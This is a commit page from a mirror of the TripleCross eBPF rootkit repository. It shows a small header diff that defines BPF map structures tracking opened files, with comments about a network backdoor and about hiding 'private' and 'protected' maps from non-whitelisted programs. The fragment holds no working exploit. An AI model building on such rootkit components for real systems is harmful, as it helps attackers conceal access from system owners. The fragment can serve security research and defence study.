admin/TripleCross
1
0
Fork 0
mirror of https://github.com/h3xduck/TripleCross.git synced 2025-12-21 01:03:08 +08:00
Code Issues Packages Projects Releases Wiki Activity

Added new map structure, in preparation for new internal maps storing requested commands via the network backdoor

Browse Source
This commit is contained in:
h3xduck
2022-02-14 20:08:30 -05:00
parent edbaf09c06
commit 2ae705f037
8 changed files with 1678 additions and 1636 deletions
Download Patch File Download Diff File Expand all files Collapse all files

15
src/ebpf/include/bpf/defs.h
View File

@@ -6,10 +6,15 @@
//Tasks and comms
#define TASK_COMM_LEN 16
/*PRIVATE MAPS*/
//Any attempt to access these maps will be blocked by the rookit
//File system data of a running program which opened some fd
#define FS_OPEN_DATA_PROGRAM_NAME_SIZE 16
#define FS_OPEN_DATA_FILENAME_SIZE 16
struct fs_open_data{
struct fs_open_data{ //Map value
char* buf;
int fd;
__u32 pid;
@@ -18,11 +23,17 @@ struct fs_open_data{
int is_sudo;
};
struct fs_open{
struct fs_priv_open{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct fs_open_data);
} fs_open SEC(".maps");
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
//Located at /src/map_prot.h
#endif